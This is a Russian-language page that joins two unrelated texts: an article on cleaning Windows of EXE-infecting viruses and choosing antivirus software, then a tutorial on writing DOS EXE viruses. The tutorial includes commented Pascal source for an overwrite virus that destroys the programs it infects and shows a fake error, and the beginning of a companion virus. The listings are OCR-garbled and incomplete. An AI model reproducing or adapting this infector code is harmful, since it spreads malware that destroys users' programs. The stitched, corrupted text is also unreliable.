  • Восстановление системы после вирусного заражения Как восстановить работоспособность Windows после удаления вируса, повредившего некоторые настройки. Помогает в случаях, когда не запускаются программы, при подмене страниц, открываемых обозревателем, подмене домашней страницы, страницы поиска, при изменении настроек рабочего стола, невозможности запуска редактора реестра, отсутствии доступа в Интернет, недоступности некоторых сайтов и т.п.
  • Сегодня многие пользователи из Сети «подхватывают» несколько необычные вирусы, которые воздействуют на исполняемые файлы, да еще и так, что не все антивирусные программы с ними справляются. Попробуем разобраться, что можно сделать в такой ситуации, а заодно рассмотрим проблему, как удалить вирус «EXE» с флешки.

    Как работают вирусы, инфицирующие EXE-файлы?

    Ситуация с проявлением активности вирусов подобного типа не нова. Такое было и раньше. Самым распространенным сегодня считается компьютерный троян-вредитель под названием Virus.Win32.Expiro.(версий «w», «ao», «bc» и т.д.).

    Подцепить его в Интернете можно совершенно элементарно, а потом думай, что с этим делать и как удалить. Вирус удаляет EXE-файлы, вернее, делает их недоступными для исполнения. Неудивительно, что при попытке открытия какой-либо программы или приложения, вследствие воздействия вредоносного кода вируса, система не распознает исполняемый файл и выдает сообщение о том, что такой-то и такой-то файл не найден.

    Что самое печальное, это касается не только установленных программ, но первого запуска инсталлятора (имеется в виду, если дистрибутив скачан из Интернета и находится на жестком диске). В случае установки программы с оптического носителя воздействие угрозы может проявиться позже, по окончании процесса установки. Наверное, не стоит говорить, что при запуске инсталляционного процесса с USB-накопителя вирус автоматически перепрыгивает на него и инфицирует все файлы, имеющие расширением.exe.

    Но распознать действие вируса можно только при запуске исполняемого файла. Именно поэтому, пока файл не запущен, некоторые антивирусные пакеты угроз не идентифицируют, и наличие вируса не определяется вообще.

    Проблемы антивирусного ПО

    Давайте посмотрим, что и как удалить. Вирус удаляет EXE-файлы или блокирует их, в данном случае неважно. Но тут, как оказывается, палка о двух концах. С одной стороны, мы имеем дело с блокированием файлов самим вирусом, с другой – неправильную реакцию антивирусных программ.

    Так, например, сегодня известно достаточно много случаев, когда тот же пакет Avast при заданном пользователем сканировании (а не при проникновении угрозы изначально) вирус все-таки определяет. Правда, определение сводится только к тому, что он показывает зараженные EXE-файлы и по причине невозможности лечения удаляет их сам без разбора. Вот вам и ситуация. Казалось бы, все просто: все знают, что и как удалить. Вирус удаляет EXE-файлы даже не сам, а (парадокс!) делает это руками антивирусного сканера. Естественно, такой вредитель способен создавать собственные копии и маскироваться даже под системные процессы типа svchost.

    Как удалить вирус (EXE-файлы заражены)?

    Что касается борьбы с такой угрозой, здесь не все просто. Прежде всего, большинству пользователей можно посоветовать не использовать бесплатные антивирусные программы и утилиты типа Avast, AVG и т.д. На крайний случай лучше бы в системе был облачный антивирус типа Panda.

    Самый лучший вариант – мощное антивирусное ПО «Лаборатории Касперского» или корпорации ESET. Кстати, можно прибегнуть к услугам утилит типа Kaspersky Virus Removal Tool, только сначала программу в виде портативной версии нужно записать на оптический диск, используя для этого незараженный компьютер, и запускать именно с CD- или DVD-носителя. В противном случае успешное лечение не гарантируется.

    Также можно использовать и небольшие программы типа CureIt, которые именно лечат зараженные файлы, а не удаляют их.

    Но поскольку вирус, как правило, «сидит» в оперативной памяти, самым оптимальным решением станет использование запуска с оптического носителя программ с общим названием Rescue Disc.

    Они проверяют все компоненты системы еще до ее собственного старта. В большинстве случаев этот метод является действенным. Кстати сказать, такая методика подойдет и для флешек, только в параметрах сканирования устройств хранения данных нужно будет дополнительно поставить галочку на USB-носителе.

    Заключение

    В целом, думается, некоторые советы помогут большинству юзеров понять, как удалить вирус. Удаляет EXE-файлы сам вирус или производит несанкционированную блокировку исполняемых файлов, сразу и не поймешь. Но если есть хоть малейшее подозрение на его присутствие, крайне не рекомендуется запускать ни одну программу до окончания полного процесса сканирования, лечения файлов и удаления угрозы.

    Кроме всего прочего, желательно иметь в системе какой-нибудь пакет типа Internet Security, способный предотвратить проникновение угрозы еще на начальной стадии.

    В этой статье рассказано о вирусах , заражающих ЕХЕ-файлы . Приведена классификация таких вирусов , подробно рассмотрены алгоритмы их работы, отличия между ними достоинства и недостатки.

    Вирусы - это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.

    Для каждого типа вирусов представлены исходные тексты с подробными комментариями.Также приведены основные сведения о структуре и принципах работы ЕХЕ-программы .

    СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами ЕХЕ- «монстры». Появились и вирусы, умеющие заражать ЕХЕ-файлы .

    Структура и процесс загрузки ЕХЕ-программы

    В отличие от СОМ-программ , ЕХЕ-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.ЕХЕ-файл имеет заголовок, который используется при его загрузке.Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла , и таблицы для настройки адресов (Relocation Table ). Таблица состоит из значений в формате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.

    При запуске ЕХЕ-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:

    1. Определяется сегментный адрес свободного участка памяти,размер

    которого достаточен для размещения программы.

    2.Создается и заполняется блок памяти для переменных среды.

    3.Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;

    сегмент+ООЮЬЮОООЬ - программа).

    В поля PSP заносятся соответствующие значения.

    4.Адрес DTA устанавливается равным PSP:0080h.

    5.В рабочую область загрузчика считывается форматированная часть

    заголовка ЕХЕ-файла .

    6.Вычисляется длина загрузочного модуля по формуле:

    Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.

    7.Определяется смещение загрузочного модуля в файле, равное

    8.Вычисляется сегментный адрес (START_SEG) для загрузки -обычно это PSP+lOh.

    9.Считывается в память загрузочный модуль (начиная с адреса

    START_SEG:0000).

    10.Для каждого входа таблицы настройки:

    a)читаются слова I_OFF и I_SEG;

    b)вычисляется RELC^SEG-START^SEG+LSEG;

    c)читается слово по адресу RELO_SEG:I_OFF;

    d)к прочитанному слову прибавляется START_SEG;

    e)результат запоминается по тому же адресу (RELO_SEG:I_OFF).

    11.Распределяется память для программы в соответствии с МахМет

    12.Инициализируются регистры, выполняется программа:

    b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;

    c)SS°START_SEG+ReloSS, SP-ExeSP;

    d)CS=START_SEG+ReloCS, IP=ExeIP.

    Классификация ЕХЕ-вирусов

    ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма. Вирусы Overwrite ) Такие вирусы уже стали раритетом. Главный их недостаток - слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.

    Вирусы-спутники (Companion)

    Эти вирусы получили свое название из-за алгоритма размножения:

    к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:

    Вирусы первого типа размножается следующим образом. Для каждого инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл , но с расширением СОМ . Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ . Если СОМ-файл с таким именем не найден, ведется поиск одноименного ЕХЕ-файла . Если не найден и ЕХЕ-файл , DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH . Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус ,код которого находится в СОМ-файле . Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ-программа.

    Вирус-спутник обезвредить довольно просто - достаточно удалить

    СОМ-файл.

    Вирусы второго типа действуют более тонко. Имя инфицируемого

    ЕХЕ-файла остается прежним, а расширение заменяется каким-либо

    другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ ), Например,

    файл может получить расширение DAT (файл данных) или OVL (про-

    граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в ЕХЕ-файле . Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EХЕ, а СОМ , поскольку ЕХЕ-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов , зараженных вирусом этого типа, может быть затруднено,если вирус -спутник шифрует часть или все тело инфицируемого файла,а перед исполнением его расшифровывает.

    Вирусы , внедряющиеся в программу (Parasitic) Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл .

    Способы заражения ЕХЕ-файлов

    Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса , а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус . Похоже на заражение СОМ-файлов , но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

    Следующий способ - внедрение вируса в начало файла со сдвигом кода

    программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код , а после него - код инфицируемой программ ы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа - «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто - достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).

    Следующий способ заражения файлов - метод переноса - по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало,по длине равное телу вируса . На это место записывается тело вируса .Начало программы из памяти дописывается в конец файла. Отсюда название метода - «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы,из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы , которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.

    Вирусы , замещающие программный код (Overwrite ) Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы , созданные на языке Assembler , но это, скорее, соревнование в написании самого маленького overwrite-вируса . На данный момент самый маленький из известных overwrite-вирусов написан Reminder’ом (Death Virii Crew group) и занимает 22 байта.

    Алгоритм работы overwrite-вируса следующий:

    1. Открыть файл, из которого вирус получил управление.

    3. Закрыть файл.

    4. Искать по маске подходящий для заражения файл.

    5. Если файлов больше не найдено, перейти к пункту 11.

    6. Открыть найденный файл.

    7. Проверить, не заражен ли найденный файл этим вирусом.

    8. Если файл заражен, перейти к пункту 10.

    9. Записать в начало файла код вируса.

    10. Закрыть файл (по желанию можно заразить от одного до всех фай-

    лов в каталоге или на диске).

    11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», - пусть пользователь не слишком удивляется тому, что программа не запустилась.

    12. Завершить программу.

    Ниже приведен листинг программы, заражающей файлы таким способом.

    {$М 2048, 0, 0}

    {Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)}

    (Имя вируса}

    VirName=’Pain’;

    {Строка для проверки на повторное заражение.

    Она дописывается в заражаемый файл сразу после кода вируса }

    VirLabel: String=’Pain!1;

    {Длина получаемого при компиляции ЕХЕ-файла }

    Author=’Dirty Nazi/SGWW.’;

    {Количество заражаемых за один сеанс работы файлов}

    {Массив для определения наличия копии вируса в найденном файле}

    Virldentifier: Array of Char;

    {Файловая переменная для работы с файлами}

    (Еще одна файловая переменная - хотя без нее можно было обойтись, так будет понятнее)

    {Для имени найденного файла)

    TargetFile: PathStr;

    (Буфер для тела вируса )

    VirBuf: Array [-I.VirLen] of Char;

    (Для даты/времени файла)

    (Счетчик количества инфицированных файлов)

    Dirlnfo: SearchRec;

    LabelBuf: Array of Char;

    (Инициализация)

    LabelBuf :=VirLabel;

    LabelBuf:=VirLabel;

    LabelBuf:=VirLabel,

    LabelBuf:=VirLabel;

    LabelBuf:=VirLabel;

    (Обнуляем счетчик количества инфицированных файлов }

    (Связываем файловую переменную VirBody с именем программы из которой стартовали)

    Assign(VirBody, ParamStr(O));

    (Открываем файл с recsize=1 байту)

    Reset(VirBody, 1);

    (Считываем из файла тело вируса в массив VirBuf}

    BlockRead(VirBody VirBuf, VirLen);

    (Закрываем файл)

    (Поиск жертвы}

    procedure FindTarget;

    (Функция возвращает True, если найденная программа уже заражена, и False, если еще нет}

    function VirusPresent: Boolean;

    VirusPresent:=False;

    (Открываем найденный файл}

    Assign(Target, TargetFile);

    Reset(Target, 1);

    (Перемещаемся на длину тела вируса от начала файла}

    Seek(Target, VirLen);

    (Считываем 5 байт - если файл уже заражен,там находится метка вируса }

    BlockRead(Target, Virldentifier, 5);

    If Virldentifier=Virl_abel Then

    {Если метка есть, значит есть и вирус }

    VirusPresent:=True;

    (Процедура заражения}

    procedure InfectFile;

    {Если размер найденного файла меньше, чем длина вируса плюс 100 байт, то выходим из процедуры}

    If Sr.Size < VirLen+100 Then Exit;

    Если найденная программа еще не заражена, инфицируем ее}

    If Not VirusPresent Then

    {Запомним дату и время файла. Атрибуты запоминать не надо, так как поиск ведется среди файлов с атрибутом Archive, а этот атрибут станавливается на файл после сохранения в любом случае}

    {Открываем для заражения}

    Assign(Target, TargetFile);

    Reset(Target, 1);

    {Записывам тело вируса в начало файла}

    BlockWrite(Target, VirBuf, VirLen);

    {Перемещаем указатель текущей позиции а длину вируса от начала файла}

    Seek(Target, VirLen);

    {Вписываем метку заражения}

    BlockWrite(Target, LabelBuf, 5);

    {Устанавливаем дату и время файла}

    SetFTime(Target, Time);

    {Закрываем}

    {Увеличиваем счетчик инфицированных файлов }

    {Начало процедуры FindTarget}

    {Ищем в текущем каталоге файлы по маске *.ЕХЕ

    с атрибутами Archive }

    FindFirstF.EXE’, Archive, Sr);

    {Пока есть файлы для заражения}

    While DosError=0 Do

    If Sr.Name=» Then Exit;

    (Запоминаем имя найденного файла в переменную TargetFile}

    TargetFile:=Sr.Name;

    {Вызываем процедуру заражения}

    {Если заразили InfCount файлов, завершаем поиск}

    If InfFiles > InfCount Then Exit;

    {Ищем следующий файл по маске}

    {Основное тело}

    (Инициализируемся}

    {Ищем жертвы и заражаем их}

    {Выдаем на экран сообщение об ошибке}

    WriteLn(‘Abnormal program termination.’);

    {Это чтобы компилятор вставил в код константы VirName и Author, условие же поставлено таким образом,что эти строки никогда не будут выведены на экран}

    WriteLn(VirName);

    WriteLn(Author);

    Вирусы-спутники (Companion)

    Вирусы-спутники сейчас широко распространены - соотношение companion и parasitic вирусов примерно один к двум.Инфицирование методом создания СОМ-файла спутника Смысл этого метода - не трогая «чужого кота» (ЕХЕ-программу ), создать «своего» - СОМ-файл с именем ЕХЕ-программы . Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного ЕХЕ-файла с вирусным кодом , считывания в буфер тела вируса , запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.

    Заражение производится с помощью командного процессора:

    1.Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

    2.Найти ЕХЕ-файл -жертву.

    3.Проверить, не присутствует ли в каталоге с найденным ЕХЕ-файлом СОМ-файл с таким же именем, как у файла-жертвы.

    4.Если такой СОМ-файл присутствует, файл уже заражен, переходим

    к пункту 6.

    5.С помощью командного процессора скопировать файл, из которого

    получено управление, в файл с именем жертвы и расширением СОМ .

    6.Процедурой Ехес загрузить и выполнить файл с именем стартового, но с расширением ЕХЕ - то есть выполнить инфицированную программу.

    7. Вернуть управление в DOS.

    Приведенный ниже листинг показывает заражение файлов этим

    ($М 2048, 0, 0}

    (Используются модули DOS и System (модуль System автоматически

    подключается к каждой программе при компиляции)}

    {Имя вируса)

    VirName=’Guesf;

    Author=’Dirty Nazi/SGWW. 4 PVT only!’;

    {Количество зараженных за один сеанс работы файлов}

    {Для имени найденного файла)

    TargetFile: PathStr;